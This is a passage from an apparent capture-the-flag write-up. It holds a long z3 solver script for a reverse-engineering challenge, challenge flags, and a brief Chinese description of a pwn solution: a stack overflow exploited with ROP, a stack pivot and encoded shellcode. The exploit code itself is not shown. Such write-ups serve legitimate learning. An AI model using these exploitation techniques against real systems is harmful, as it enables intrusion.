a3[a2[ i +136]] = (16975111 * (a2[ i +136] + 127)) ^ get_int(i+137)
a3[a2[ i +142]] = (16975111 * (a2[ i +142] + 127)) ^ a1[(16975111 * (a2[ i +143] + 127)) ^ a3[a2[ i +143]]]
a3[a2[ i +145]] = (16975111 * (a2[ i +145] + 127)) ^ get_int(i+146)
a3[a2[ i +151]] = (16975111 * (a2[ i +151] + 127)) ^ a3[a2[ i +153]] ^ (16975111 * (a2[ i +153] + 127)) ^ (16975111 * (a2[ i +152] + 127)) ^ a3[a2[ i +152]]
a3[a2[ i +155]] = (16975111 * (a2[ i +155] + 127)) ^ ((a3[a2[ i +157]] ^ (16975111 * (a2[ i +157] + 127)))
+ ((16975111
* (a2[ i +156] + 127)) ^ a3[a2[ i +156]]))
a3[a2[ i +159]] = (16975111 * (a2[ i +159] + 127)) ^ get_int(i+160)
a3[a2[ i +165]] = (16975111 * (a2[ i +165] + 127)) ^ a1[(16975111 * (a2[ i +166] + 127)) ^ a3[a2[ i +166]]]
a3[a2[ i +168]] = (16975111 * (a2[ i +168] + 127)) ^ get_int(i+169)
a3[a2[ i +174]] = (16975111 * (a2[ i +174] + 127)) ^ ((a3[a2[ i +176]] ^ (16975111 * (a2[ i +176] + 127)))
* ((16975111
* (a2[ i +175] + 127)) ^ a3[a2[ i +175]]))
a3[a2[ i +178]] = (16975111 * (a2[ i +178] + 127)) ^ ((a3[a2[ i +180]] ^ (16975111 * (a2[ i +180] + 127)))
- ((16975111
* (a2[ i +179] + 127)) ^ a3[a2[ i +179]]))
a3[a2[ i +182]] = (16975111 * (a2[ i +182] + 127)) ^ get_int(i+183)
a3[a2[ i +188]] = (16975111 * (a2[ i +188] + 127)) ^ a1[(16975111 * (a2[ i +189] + 127)) ^ a3[a2[ i +189]]]
a3[a2[ i +191]] = (16975111 * (a2[ i +191] + 127)) ^ get_int(i+192)
a3[a2[ i +197]] = (16975111 * (a2[ i +197] + 127)) ^ ((a3[a2[ i +199]] ^ (16975111 * (a2[ i +199] + 127)))
* ((16975111
* (a2[ i +198] + 127)) ^ a3[a2[ i +198]]))
a3[a2[ i +201]] = (16975111 * (a2[ i +201] + 127)) ^ ((a3[a2[ i +203]] ^ (16975111 * (a2[ i +203] + 127)))
- ((16975111
* (a2[ i +202] + 127)) ^ a3[a2[ i +202]]))
a3[a2[ i +205]] = (16975111 * (a2[ i +205] + 127)) ^ get_int(i+206)
a3[a2[ i +211]] = (16975111 * (a2[ i +211] + 127)) ^ ((a3[a2[ i +213]] ^ (16975111 * (a2[ i +213] + 127)))
- ((16975111
* (a2[ i +212] + 127)) ^ a3[a2[ i +212]]))
so.add(a3[a2[ i +215]] - 16975111 * (a2[ i +215] + 127) == 0)


i = 214 * 18 - 2

a3[a2[i+3]] = (16975111 * (a2[i+3] + 127)) ^ get_int(i+ 4)
a3[a2[i+9]] = (16975111 * (a2[i+9] + 127)) ^ get_int(i+10)
a3[a2[i+15]] = (16975111 * (a2[i+15] + 127)) ^ get_int(i+ 16)
a3[a2[i+21]] = (16975111 * (a2[i+21] + 127)) ^ get_int(i+22)
a3[a2[i+27]] = (16975111 * (a2[i+27] + 127)) ^ a1[(16975111
* (a2[i+28] + 127)) ^ a3[a2[i+28]]]
a3[a2[i+30]] = (16975111 * (a2[i+30] + 127)) ^ get_int(i+31)
a3[a2[i+36]] = (16975111 * (a2[i+36] + 127)) ^ a3[a2[i+38]] ^ (16975111 * (a2[i+38] + 127)) ^ (16975111 * (a2[i+37] + 127)) ^ a3[a2[i+37]]
a3[a2[i+40]] = (16975111 * (a2[i+40] + 127)) ^ ((a3[a2[i+42]] ^ (16975111 * (a2[i+42] + 127)))
- ((16975111
* (a2[i+41] + 127)) ^ a3[a2[i+41]]))
a3[a2[i+44]] = (16975111 * (a2[i+44] + 127)) ^ get_int(i+45)
a3[a2[i+50]] = (16975111 * (a2[i+50] + 127)) ^ a1[(16975111
* (a2[i+51] + 127)) ^ a3[a2[i+51]]]
a3[a2[i+53]] = (16975111 * (a2[i+53] + 127)) ^ get_int(i+54)
a3[a2[i+59]] = (16975111 * (a2[i+59] + 127)) ^ ((a3[a2[i+61]] ^ (16975111 * (a2[i+61] + 127)))
* ((16975111
* (a2[i+60] + 127)) ^ a3[a2[i+60]]))
a3[a2[i+63]] = (16975111 * (a2[i+63] + 127)) ^ ((a3[a2[i+65]] ^ (16975111 * (a2[i+65] + 127)))
+ ((16975111
* (a2[i+64] + 127)) ^ a3[a2[i+64]]))
a3[a2[i+67]] = (16975111 * (a2[i+67] + 127)) ^ get_int(i+ 68)
a3[a2[i+73]] = (16975111 * (a2[i+73] + 127)) ^ a1[(16975111
* (a2[i+74] + 127)) ^ a3[a2[i+74]]]
a3[a2[i+76]] = (16975111 * (a2[i+76] + 127)) ^ get_int(i+77)
a3[a2[i+82]] = (16975111 * (a2[i+82] + 127)) ^ ((a3[a2[i+84]] ^ (16975111 * (a2[i+84] + 127)))
* ((16975111
* (a2[i+83] + 127)) ^ a3[a2[i+83]]))
a3[a2[i+86]] = (16975111 * (a2[i+86] + 127)) ^ ((a3[a2[i+88]] ^ (16975111 * (a2[i+88] + 127)))
+ ((16975111
* (a2[i+87] + 127)) ^ a3[a2[i+87]]))
a3[a2[i+90]] = (16975111 * (a2[i+90] + 127)) ^ get_int(i+91)
a3[a2[i+96]] = (16975111 * (a2[i+96] + 127)) ^ a1[(16975111
* (a2[i+97] + 127)) ^ a3[a2[i+97]]]
a3[a2[i+99]] = (16975111 * (a2[i+99] + 127)) ^ get_int(i+ 100)
a3[a2[i+105]] = (16975111 * (a2[i+105] + 127)) ^ a3[a2[i+107]] ^ (16975111 * (a2[i+107] + 127)) ^ (16975111 * (a2[i+106] + 127)) ^ a3[a2[i+106]]
a3[a2[i+109]] = (16975111 * (a2[i+109] + 127)) ^ ((a3[a2[i+111]] ^ (16975111 * (a2[i+111] + 127)))
+ ((16975111
* (a2[i+110] + 127)) ^ a3[a2[i+110]]))
a3[a2[i+113]] = (16975111 * (a2[i+113] + 127)) ^ get_int(i+114)
a3[a2[i+119]] = (16975111 * (a2[i+119] + 127)) ^ a1[(16975111 * (a2[i+120] + 127)) ^ a3[a2[i+120]]]
a3[a2[i+122]] = (16975111 * (a2[i+122] + 127)) ^ get_int(i+123)
a3[a2[i+128]] = (16975111 * (a2[i+128] + 127)) ^ a3[a2[i+130]] ^ (16975111 * (a2[i+130] + 127)) ^ (16975111 * (a2[i+129] + 127)) ^ a3[a2[i+129]]
a3[a2[i+132]] = (16975111 * (a2[i+132] + 127)) ^ ((a3[a2[i+134]] ^ (16975111 * (a2[i+134] + 127)))
- ((16975111
* (a2[i+133] + 127)) ^ a3[a2[i+133]]))
a3[a2[i+136]] = (16975111 * (a2[i+136] + 127)) ^ get_int(i+137)
a3[a2[i+142]] = (16975111 * (a2[i+142] + 127)) ^ a1[(16975111 * (a2[i+143] + 127)) ^ a3[a2[i+143]]]
a3[a2[i+145]] = (16975111 * (a2[i+145] + 127)) ^ get_int(i+146)
a3[a2[i+151]] = (16975111 * (a2[i+151] + 127)) ^ ((a3[a2[i+153]] ^ (16975111 * (a2[i+153] + 127)))
* ((16975111
* (a2[i+152] + 127)) ^ a3[a2[i+152]]))
a3[a2[i+155]] = (16975111 * (a2[i+155] + 127)) ^ ((a3[a2[i+157]] ^ (16975111 * (a2[i+157] + 127)))
+ ((16975111
* (a2[i+156] + 127)) ^ a3[a2[i+156]]))
a3[a2[i+159]] = (16975111 * (a2[i+159] + 127)) ^ get_int(i+ 160)
a3[a2[i+165]] = (16975111 * (a2[i+165] + 127)) ^ a1[(16975111 * (a2[i+166] + 127)) ^ a3[a2[i+166]]]
a3[a2[i+168]] = (16975111 * (a2[i+168] + 127)) ^ get_int(i+169)
a3[a2[i+174]] = (16975111 * (a2[i+174] + 127)) ^ a3[a2[i+176]] ^ (16975111 * (a2[i+176] + 127)) ^ (16975111 * (a2[i+175] + 127)) ^ a3[a2[i+175]]
a3[a2[i+178]] = (16975111 * (a2[i+178] + 127)) ^ ((a3[a2[i+180]] ^ (16975111 * (a2[i+180] + 127)))
- ((16975111
* (a2[i+179] + 127)) ^ a3[a2[i+179]]))
a3[a2[i+182]] = (16975111 * (a2[i+182] + 127)) ^ get_int(i+183)
a3[a2[i+188]] = (16975111 * (a2[i+188] + 127)) ^ a1[(16975111 * (a2[i+189] + 127)) ^ a3[a2[i+189]]]
a3[a2[i+191]] = (16975111 * (a2[i+191] + 127)) ^ get_int(i+ 192)
a3[a2[i+197]] = (16975111 * (a2[i+197] + 127)) ^ a3[a2[i+199]] ^ (16975111 * (a2[i+199] + 127)) ^ (16975111 * (a2[i+198] + 127)) ^ a3[a2[i+198]]
a3[a2[i+201]] = (16975111 * (a2[i+201] + 127)) ^ ((a3[a2[i+203]] ^ (16975111 * (a2[i+203] + 127)))
+ ((16975111
* (a2[i+202] + 127)) ^ a3[a2[i+202]]))
a3[a2[i+205]] = (16975111 * (a2[i+205] + 127)) ^ get_int(i+206)
a3[a2[i+211]] = (16975111 * (a2[i+211] + 127)) ^ ((a3[a2[i+213]] ^ (16975111 * (a2[i+213] + 127)))
- ((16975111
* (a2[i+212] + 127)) ^ a3[a2[i+212]]))
so.add(a3[a2[i+215]] - 16975111 * (a2[i+215] + 127)==0)





i = 214 * 26 - 2


a3[a2[i+3]] = (16975111 * (a2[i+3] + 127)) ^ get_int(i+4)
a3[a2[i+9]] = (16975111 * (a2[i+9] + 127)) ^ get_int(i+10)
a3[a2[i+15]] = (16975111 * (a2[i+15] + 127)) ^ get_int(i+16)
a3[a2[i+21]] = (16975111 * (a2[i+21] + 127)) ^ get_int(i+22)
a3[a2[i+27]] = (16975111 * (a2[i+27] + 127)) ^ a1[(16975111
* (a2[i+28] + 127)) ^ a3[a2[i+28]]]
a3[a2[i+30]] = (16975111 * (a2[i+30] + 127)) ^ get_int(i+31)
a3[a2[i+36]] = (16975111 * (a2[i+36] + 127)) ^ a3[a2[i+38]] ^ (16975111 * (a2[i+38] + 127)) ^ (16975111 * (a2[i+37] + 127)) ^ a3[a2[i+37]]
a3[a2[i+40]] = (16975111 * (a2[i+40] + 127)) ^ ((a3[a2[i+42]] ^ (16975111 * (a2[i+42] + 127)))
+ ((16975111
* (a2[i+41] + 127)) ^ a3[a2[i+41]]))
a3[a2[i+44]] = (16975111 * (a2[i+44] + 127)) ^ get_int(i+45)
a3[a2[i+50]] = (16975111 * (a2[i+50] + 127)) ^ a1[(16975111
* (a2[i+51] + 127)) ^ a3[a2[i+51]]]
a3[a2[i+53]] = (16975111 * (a2[i+53] + 127)) ^ get_int(i+54)
a3[a2[i+59]] = (16975111 * (a2[i+59] + 127)) ^ ((a3[a2[i+61]] ^ (16975111 * (a2[i+61] + 127)))
* ((16975111
* (a2[i+60] + 127)) ^ a3[a2[i+60]]))
a3[a2[i+63]] = (16975111 * (a2[i+63] + 127)) ^ ((a3[a2[i+65]] ^ (16975111 * (a2[i+65] + 127)))
+ ((16975111
* (a2[i+64] + 127)) ^ a3[a2[i+64]]))
a3[a2[i+67]] = (16975111 * (a2[i+67] + 127)) ^ get_int(i+68)
a3[a2[i+73]] = (16975111 * (a2[i+73] + 127)) ^ a1[(16975111
* (a2[i+74] + 127)) ^ a3[a2[i+74]]]
a3[a2[i+76]] = (16975111 * (a2[i+76] + 127)) ^ get_int(i+77)
a3[a2[i+82]] = (16975111 * (a2[i+82] + 127)) ^ ((a3[a2[i+84]] ^ (16975111 * (a2[i+84] + 127)))
* ((16975111
* (a2[i+83] + 127)) ^ a3[a2[i+83]]))
a3[a2[i+86]] = (16975111 * (a2[i+86] + 127)) ^ ((a3[a2[i+88]] ^ (16975111 * (a2[i+88] + 127)))
- ((16975111
* (a2[i+87] + 127)) ^ a3[a2[i+87]]))
a3[a2[i+90]] = (16975111 * (a2[i+90] + 127)) ^ get_int(i+91)
a3[a2[i+96]] = (16975111 * (a2[i+96] + 127)) ^ a1[(16975111
* (a2[i+97] + 127)) ^ a3[a2[i+97]]]
a3[a2[i+99]] = (16975111 * (a2[i+99] + 127)) ^ get_int(i+100)
a3[a2[i+105]] = (16975111 * (a2[i+105] + 127)) ^ ((a3[a2[i+107]] ^ (16975111 * (a2[i+107] + 127)))
* ((16975111
* (a2[i+106] + 127)) ^ a3[a2[i+106]]))
a3[a2[i+109]] = (16975111 * (a2[i+109] + 127)) ^ ((a3[a2[i+111]] ^ (16975111 * (a2[i+111] + 127)))
+ ((16975111
* (a2[i+110] + 127)) ^ a3[a2[i+110]]))
a3[a2[i+113]] = (16975111 * (a2[i+113] + 127)) ^ get_int(i+114)
a3[a2[i+119]] = (16975111 * (a2[i+119] + 127)) ^ a1[(16975111 * (a2[i+120] + 127)) ^ a3[a2[i+120]]]
a3[a2[i+122]] = (16975111 * (a2[i+122] + 127)) ^ get_int(i+123)
a3[a2[i+128]] = (16975111 * (a2[i+128] + 127)) ^ ((a3[a2[i+130]] ^ (16975111 * (a2[i+130] + 127)))
* ((16975111
* (a2[i+129] + 127)) ^ a3[a2[i+129]]))
a3[a2[i+132]] = (16975111 * (a2[i+132] + 127)) ^ ((a3[a2[i+134]] ^ (16975111 * (a2[i+134] + 127)))
- ((16975111
* (a2[i+133] + 127)) ^ a3[a2[i+133]]))
a3[a2[i+136]] = (16975111 * (a2[i+136] + 127)) ^ get_int(i+137)
a3[a2[i+142]] = (16975111 * (a2[i+142] + 127)) ^ a1[(16975111 * (a2[i+143] + 127)) ^ a3[a2[i+143]]]
a3[a2[i+145]] = (16975111 * (a2[i+145] + 127)) ^ get_int(i+146)
a3[a2[i+151]] = (16975111 * (a2[i+151] + 127)) ^ a3[a2[i+153]] ^ (16975111 * (a2[i+153] + 127)) ^ (16975111 * (a2[i+152] + 127)) ^ a3[a2[i+152]]
a3[a2[i+155]] = (16975111 * (a2[i+155] + 127)) ^ ((a3[a2[i+157]] ^ (16975111 * (a2[i+157] + 127)))
+ ((16975111
* (a2[i+156] + 127)) ^ a3[a2[i+156]]))
a3[a2[i+159]] = (16975111 * (a2[i+159] + 127)) ^ get_int(i+160)
a3[a2[i+165]] = (16975111 * (a2[i+165] + 127)) ^ a1[(16975111 * (a2[i+166] + 127)) ^ a3[a2[i+166]]]
a3[a2[i+168]] = (16975111 * (a2[i+168] + 127)) ^ get_int(i+169)
a3[a2[i+174]] = (16975111 * (a2[i+174] + 127)) ^ ((a3[a2[i+176]] ^ (16975111 * (a2[i+176] + 127)))
* ((16975111
* (a2[i+175] + 127)) ^ a3[a2[i+175]]))
a3[a2[i+178]] = (16975111 * (a2[i+178] + 127)) ^ ((a3[a2[i+180]] ^ (16975111 * (a2[i+180] + 127)))
+ ((16975111
* (a2[i+179] + 127)) ^ a3[a2[i+179]]))
a3[a2[i+182]] = (16975111 * (a2[i+182] + 127)) ^ get_int(i+183)
a3[a2[i+188]] = (16975111 * (a2[i+188] + 127)) ^ a1[(16975111 * (a2[i+189] + 127)) ^ a3[a2[i+189]]]
a3[a2[i+191]] = (16975111 * (a2[i+191] + 127)) ^ get_int(i+192)
a3[a2[i+197]] = (16975111 * (a2[i+197] + 127)) ^ ((a3[a2[i+199]] ^ (16975111 * (a2[i+199] + 127)))
* ((16975111
* (a2[i+198] + 127)) ^ a3[a2[i+198]]))
a3[a2[i+201]] = (16975111 * (a2[i+201] + 127)) ^ ((a3[a2[i+203]] ^ (16975111 * (a2[i+203] + 127)))
+ ((16975111
* (a2[i+202] + 127)) ^ a3[a2[i+202]]))
a3[a2[i+205]] = (16975111 * (a2[i+205] + 127)) ^ get_int(i+206)
a3[a2[i+211]] = (16975111 * (a2[i+211] + 127)) ^ ((a3[a2[i+213]] ^ (16975111 * (a2[i+213] + 127)))
- ((16975111
* (a2[i+212] + 127)) ^ a3[a2[i+212]]))
so.add(a3[a2[i+215]] - 16975111 * (a2[i+215] + 127)==0)


i = 214 * 28 - 2
a3[a2[i+3]] = (16975111 * (a2[i+3] + 127)) ^ get_int(i+ 4)
a3[a2[i+9]] = (16975111 * (a2[i+9] + 127)) ^ get_int(i+10)
a3[a2[i+15]] = (16975111 * (a2[i+15] + 127)) ^ get_int(i+ 16)
a3[a2[i+21]] = (16975111 * (a2[i+21] + 127)) ^ get_int(i+22)
a3[a2[i+27]] = (16975111 * (a2[i+27] + 127)) ^ a1[(16975111
* (a2[i+28] + 127)) ^ a3[a2[i+28]]]
a3[a2[i+30]] = (16975111 * (a2[i+30] + 127)) ^ get_int(i+31)
a3[a2[i+36]] = (16975111 * (a2[i+36] + 127)) ^ a3[a2[i+38]] ^ (16975111 * (a2[i+38] + 127)) ^ (16975111 * (a2[i+37] + 127)) ^ a3[a2[i+37]]
a3[a2[i+40]] = (16975111 * (a2[i+40] + 127)) ^ ((a3[a2[i+42]] ^ (16975111 * (a2[i+42] + 127)))
- ((16975111
* (a2[i+41] + 127)) ^ a3[a2[i+41]]))
a3[a2[i+44]] = (16975111 * (a2[i+44] + 127)) ^ get_int(i+45)
a3[a2[i+50]] = (16975111 * (a2[i+50] + 127)) ^ a1[(16975111
* (a2[i+51] + 127)) ^ a3[a2[i+51]]]
a3[a2[i+53]] = (16975111 * (a2[i+53] + 127)) ^ get_int(i+54)
a3[a2[i+59]] = (16975111 * (a2[i+59] + 127)) ^ a3[a2[i+61]] ^ (16975111 * (a2[i+61] + 127)) ^ (16975111 * (a2[i+60] + 127)) ^ a3[a2[i+60]]
a3[a2[i+63]] = (16975111 * (a2[i+63] + 127)) ^ ((a3[a2[i+65]] ^ (16975111 * (a2[i+65] + 127)))
+ ((16975111
* (a2[i+64] + 127)) ^ a3[a2[i+64]]))
a3[a2[i+67]] = (16975111 * (a2[i+67] + 127)) ^ get_int(i+ 68)
a3[a2[i+73]] = (16975111 * (a2[i+73] + 127)) ^ a1[(16975111
* (a2[i+74] + 127)) ^ a3[a2[i+74]]]
a3[a2[i+76]] = (16975111 * (a2[i+76] + 127)) ^ get_int(i+77)
a3[a2[i+82]] = (16975111 * (a2[i+82] + 127)) ^ ((a3[a2[i+84]] ^ (16975111 * (a2[i+84] + 127)))
* ((16975111
* (a2[i+83] + 127)) ^ a3[a2[i+83]]))
a3[a2[i+86]] = (16975111 * (a2[i+86] + 127)) ^ ((a3[a2[i+88]] ^ (16975111 * (a2[i+88] + 127)))
+ ((16975111
* (a2[i+87] + 127)) ^ a3[a2[i+87]]))
a3[a2[i+90]] = (16975111 * (a2[i+90] + 127)) ^ get_int(i+91)
a3[a2[i+96]] = (16975111 * (a2[i+96] + 127)) ^ a1[(16975111
* (a2[i+97] + 127)) ^ a3[a2[i+97]]]
a3[a2[i+99]] = (16975111 * (a2[i+99] + 127)) ^ get_int(i+ 100)
a3[a2[i+105]] = (16975111 * (a2[i+105] + 127)) ^ ((a3[a2[i+107]] ^ (16975111 * (a2[i+107] + 127)))
* ((16975111
* (a2[i+106] + 127)) ^ a3[a2[i+106]]))
a3[a2[i+109]] = (16975111 * (a2[i+109] + 127)) ^ ((a3[a2[i+111]] ^ (16975111 * (a2[i+111] + 127)))
+ ((16975111
* (a2[i+110] + 127)) ^ a3[a2[i+110]]))
a3[a2[i+113]] = (16975111 * (a2[i+113] + 127)) ^ get_int(i+114)
a3[a2[i+119]] = (16975111 * (a2[i+119] + 127)) ^ a1[(16975111 * (a2[i+120] + 127)) ^ a3[a2[i+120]]]
a3[a2[i+122]] = (16975111 * (a2[i+122] + 127)) ^ get_int(i+123)
a3[a2[i+128]] = (16975111 * (a2[i+128] + 127)) ^ a3[a2[i+130]] ^ (16975111 * (a2[i+130] + 127)) ^ (16975111 * (a2[i+129] + 127)) ^ a3[a2[i+129]]
a3[a2[i+132]] = (16975111 * (a2[i+132] + 127)) ^ ((a3[a2[i+134]] ^ (16975111 * (a2[i+134] + 127)))
- ((16975111
* (a2[i+133] + 127)) ^ a3[a2[i+133]]))
a3[a2[i+136]] = (16975111 * (a2[i+136] + 127)) ^ get_int(i+137)
a3[a2[i+142]] = (16975111 * (a2[i+142] + 127)) ^ a1[(16975111 * (a2[i+143] + 127)) ^ a3[a2[i+143]]]
a3[a2[i+145]] = (16975111 * (a2[i+145] + 127)) ^ get_int(i+146)
a3[a2[i+151]] = (16975111 * (a2[i+151] + 127)) ^ a3[a2[i+153]] ^ (16975111 * (a2[i+153] + 127)) ^ (16975111 * (a2[i+152] + 127)) ^ a3[a2[i+152]]
a3[a2[i+155]] = (16975111 * (a2[i+155] + 127)) ^ ((a3[a2[i+157]] ^ (16975111 * (a2[i+157] + 127)))
- ((16975111
* (a2[i+156] + 127)) ^ a3[a2[i+156]]))
a3[a2[i+159]] = (16975111 * (a2[i+159] + 127)) ^ get_int(i+ 160)
a3[a2[i+165]] = (16975111 * (a2[i+165] + 127)) ^ a1[(16975111 * (a2[i+166] + 127)) ^ a3[a2[i+166]]]
a3[a2[i+168]] = (16975111 * (a2[i+168] + 127)) ^ get_int(i+169)
a3[a2[i+174]] = (16975111 * (a2[i+174] + 127)) ^ ((a3[a2[i+176]] ^ (16975111 * (a2[i+176] + 127)))
* ((16975111
* (a2[i+175] + 127)) ^ a3[a2[i+175]]))
a3[a2[i+178]] = (16975111 * (a2[i+178] + 127)) ^ ((a3[a2[i+180]] ^ (16975111 * (a2[i+180] + 127)))
- ((16975111
* (a2[i+179] + 127)) ^ a3[a2[i+179]]))
a3[a2[i+182]] = (16975111 * (a2[i+182] + 127)) ^ get_int(i+183)
a3[a2[i+188]] = (16975111 * (a2[i+188] + 127)) ^ a1[(16975111 * (a2[i+189] + 127)) ^ a3[a2[i+189]]]
a3[a2[i+191]] = (16975111 * (a2[i+191] + 127)) ^ get_int(i+ 192)
a3[a2[i+197]] = (16975111 * (a2[i+197] + 127)) ^ ((a3[a2[i+199]] ^ (16975111 * (a2[i+199] + 127)))
* ((16975111
* (a2[i+198] + 127)) ^ a3[a2[i+198]]))
a3[a2[i+201]] = (16975111 * (a2[i+201] + 127)) ^ ((a3[a2[i+203]] ^ (16975111 * (a2[i+203] + 127)))
- ((16975111
* (a2[i+202] + 127)) ^ a3[a2[i+202]]))
a3[a2[i+205]] = (16975111 * (a2[i+205] + 127)) ^ get_int(i+206)
a3[a2[i+211]] = (16975111 * (a2[i+211] + 127)) ^ ((a3[a2[i+213]] ^ (16975111 * (a2[i+213] + 127)))
- ((16975111
* (a2[i+212] + 127)) ^ a3[a2[i+212]]))
so.add( a3[a2[i+215]] - 16975111 * (a2[i+215] + 127) == 0)



i = 214 * 35 - 2

a3[a2[i+3]] = (16975111 * (a2[i+3] + 127)) ^ get_int(i+ 4)
a3[a2[i+9]] = (16975111 * (a2[i+9] + 127)) ^ get_int(i+10)
a3[a2[i+15]] = (16975111 * (a2[i+15] + 127)) ^ get_int(i+ 16)
a3[a2[i+21]] = (16975111 * (a2[i+21] + 127)) ^ get_int(i+22)
a3[a2[i+27]] = (16975111 * (a2[i+27] + 127)) ^ a1[(16975111
* (a2[i+28] + 127)) ^ a3[a2[i+28]]]
a3[a2[i+30]] = (16975111 * (a2[i+30] + 127)) ^ get_int(i+31)
a3[a2[i+36]] = (16975111 * (a2[i+36] + 127)) ^ ((a3[a2[i+38]] ^ (16975111 * (a2[i+38] + 127)))
* ((16975111
* (a2[i+37] + 127)) ^ a3[a2[i+37]]))
a3[a2[i+40]] = (16975111 * (a2[i+40] + 127)) ^ ((a3[a2[i+42]] ^ (16975111 * (a2[i+42] + 127)))
+ ((16975111
* (a2[i+41] + 127)) ^ a3[a2[i+41]]))
a3[a2[i+44]] = (16975111 * (a2[i+44] + 127)) ^ get_int(i+45)
a3[a2[i+50]] = (16975111 * (a2[i+50] + 127)) ^ a1[(16975111
* (a2[i+51] + 127)) ^ a3[a2[i+51]]]
a3[a2[i+53]] = (16975111 * (a2[i+53] + 127)) ^ get_int(i+54)
a3[a2[i+59]] = (16975111 * (a2[i+59] + 127)) ^ a3[a2[i+61]] ^ (16975111 * (a2[i+61] + 127)) ^ (16975111 * (a2[i+60] + 127)) ^ a3[a2[i+60]]
a3[a2[i+63]] = (16975111 * (a2[i+63] + 127)) ^ ((a3[a2[i+65]] ^ (16975111 * (a2[i+65] + 127)))
+ ((16975111
* (a2[i+64] + 127)) ^ a3[a2[i+64]]))
a3[a2[i+67]] = (16975111 * (a2[i+67] + 127)) ^ get_int(i+ 68)
a3[a2[i+73]] = (16975111 * (a2[i+73] + 127)) ^ a1[(16975111
* (a2[i+74] + 127)) ^ a3[a2[i+74]]]
a3[a2[i+76]] = (16975111 * (a2[i+76] + 127)) ^ get_int(i+77)
a3[a2[i+82]] = (16975111 * (a2[i+82] + 127)) ^ ((a3[a2[i+84]] ^ (16975111 * (a2[i+84] + 127)))
* ((16975111
* (a2[i+83] + 127)) ^ a3[a2[i+83]]))
a3[a2[i+86]] = (16975111 * (a2[i+86] + 127)) ^ ((a3[a2[i+88]] ^ (16975111 * (a2[i+88] + 127)))
+ ((16975111
* (a2[i+87] + 127)) ^ a3[a2[i+87]]))
a3[a2[i+90]] = (16975111 * (a2[i+90] + 127)) ^ get_int(i+91)
a3[a2[i+96]] = (16975111 * (a2[i+96] + 127)) ^ a1[(16975111
* (a2[i+97] + 127)) ^ a3[a2[i+97]]]
a3[a2[i+99]] = (16975111 * (a2[i+99] + 127)) ^ get_int(i+ 100)
a3[a2[i+105]] = (16975111 * (a2[i+105] + 127)) ^ ((a3[a2[i+107]] ^ (16975111 * (a2[i+107] + 127)))
* ((16975111
* (a2[i+106] + 127)) ^ a3[a2[i+106]]))
a3[a2[i+109]] = (16975111 * (a2[i+109] + 127)) ^ ((a3[a2[i+111]] ^ (16975111 * (a2[i+111] + 127)))
+ ((16975111
* (a2[i+110] + 127)) ^ a3[a2[i+110]]))
a3[a2[i+113]] = (16975111 * (a2[i+113] + 127)) ^ get_int(i+114)
a3[a2[i+119]] = (16975111 * (a2[i+119] + 127)) ^ a1[(16975111 * (a2[i+120] + 127)) ^ a3[a2[i+120]]]
a3[a2[i+122]] = (16975111 * (a2[i+122] + 127)) ^ get_int(i+123)
a3[a2[i+128]] = (16975111 * (a2[i+128] + 127)) ^ a3[a2[i+130]] ^ (16975111 * (a2[i+130] + 127)) ^ (16975111 * (a2[i+129] + 127)) ^ a3[a2[i+129]]
a3[a2[i+132]] = (16975111 * (a2[i+132] + 127)) ^ ((a3[a2[i+134]] ^ (16975111 * (a2[i+134] + 127)))
+ ((16975111
* (a2[i+133] + 127)) ^ a3[a2[i+133]]))
a3[a2[i+136]] = (16975111 * (a2[i+136] + 127)) ^ get_int(i+137)
a3[a2[i+142]] = (16975111 * (a2[i+142] + 127)) ^ a1[(16975111 * (a2[i+143] + 127)) ^ a3[a2[i+143]]]
a3[a2[i+145]] = (16975111 * (a2[i+145] + 127)) ^ get_int(i+146)
a3[a2[i+151]] = (16975111 * (a2[i+151] + 127)) ^ a3[a2[i+153]] ^ (16975111 * (a2[i+153] + 127)) ^ (16975111 * (a2[i+152] + 127)) ^ a3[a2[i+152]]
a3[a2[i+155]] = (16975111 * (a2[i+155] + 127)) ^ ((a3[a2[i+157]] ^ (16975111 * (a2[i+157] + 127)))
- ((16975111
* (a2[i+156] + 127)) ^ a3[a2[i+156]]))
a3[a2[i+159]] = (16975111 * (a2[i+159] + 127)) ^ get_int(i+ 160)
a3[a2[i+165]] = (16975111 * (a2[i+165] + 127)) ^ a1[(16975111 * (a2[i+166] + 127)) ^ a3[a2[i+166]]]
a3[a2[i+168]] = (16975111 * (a2[i+168] + 127)) ^ get_int(i+169)
a3[a2[i+174]] = (16975111 * (a2[i+174] + 127)) ^ a3[a2[i+176]] ^ (16975111 * (a2[i+176] + 127)) ^ (16975111 * (a2[i+175] + 127)) ^ a3[a2[i+175]]
a3[a2[i+178]] = (16975111 * (a2[i+178] + 127)) ^ ((a3[a2[i+180]] ^ (16975111 * (a2[i+180] + 127)))
+ ((16975111
* (a2[i+179] + 127)) ^ a3[a2[i+179]]))
a3[a2[i+182]] = (16975111 * (a2[i+182] + 127)) ^ get_int(i+183)
a3[a2[i+188]] = (16975111 * (a2[i+188] + 127)) ^ a1[(16975111 * (a2[i+189] + 127)) ^ a3[a2[i+189]]]
a3[a2[i+191]] = (16975111 * (a2[i+191] + 127)) ^ get_int(i+ 192)
a3[a2[i+197]] = (16975111 * (a2[i+197] + 127)) ^ a3[a2[i+199]] ^ (16975111 * (a2[i+199] + 127)) ^ (16975111 * (a2[i+198] + 127)) ^ a3[a2[i+198]]
a3[a2[i+201]] = (16975111 * (a2[i+201] + 127)) ^ ((a3[a2[i+203]] ^ (16975111 * (a2[i+203] + 127)))
- ((16975111
* (a2[i+202] + 127)) ^ a3[a2[i+202]]))
a3[a2[i+205]] = (16975111 * (a2[i+205] + 127)) ^ get_int(i+206)
a3[a2[i+211]] = (16975111 * (a2[i+211] + 127)) ^ ((a3[a2[i+213]] ^ (16975111 * (a2[i+213] + 127)))
- ((16975111
* (a2[i+212] + 127)) ^ a3[a2[i+212]]))
so.add(a3[a2[i+215]] - 16975111 * (a2[i+215] + 127) == 0)



print(so.check())
m = so.model()
res = ''
for i in a1[:38]:
res += chr(m[i].as_long())

print(res)

Exception

part1: aes_encryption_with_sbox_modified

part2: simple encoding

part3 & part4: heaven’s gate(x86→x64 switch)

part3: rc6

part4: an easy check

pLeA5e_nEveR_UnDeRe5t1m4te_7he_heArt_Of_a_cH4mpI0n

Pwn

rtos

main 存在栈溢出,rop 后栈迁移并读入 shellcode,然后跳去执行 shellcode 即可

前期一直在凑 < 07f 的 shellcode 凑了半天,写了个简易的 encoder

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
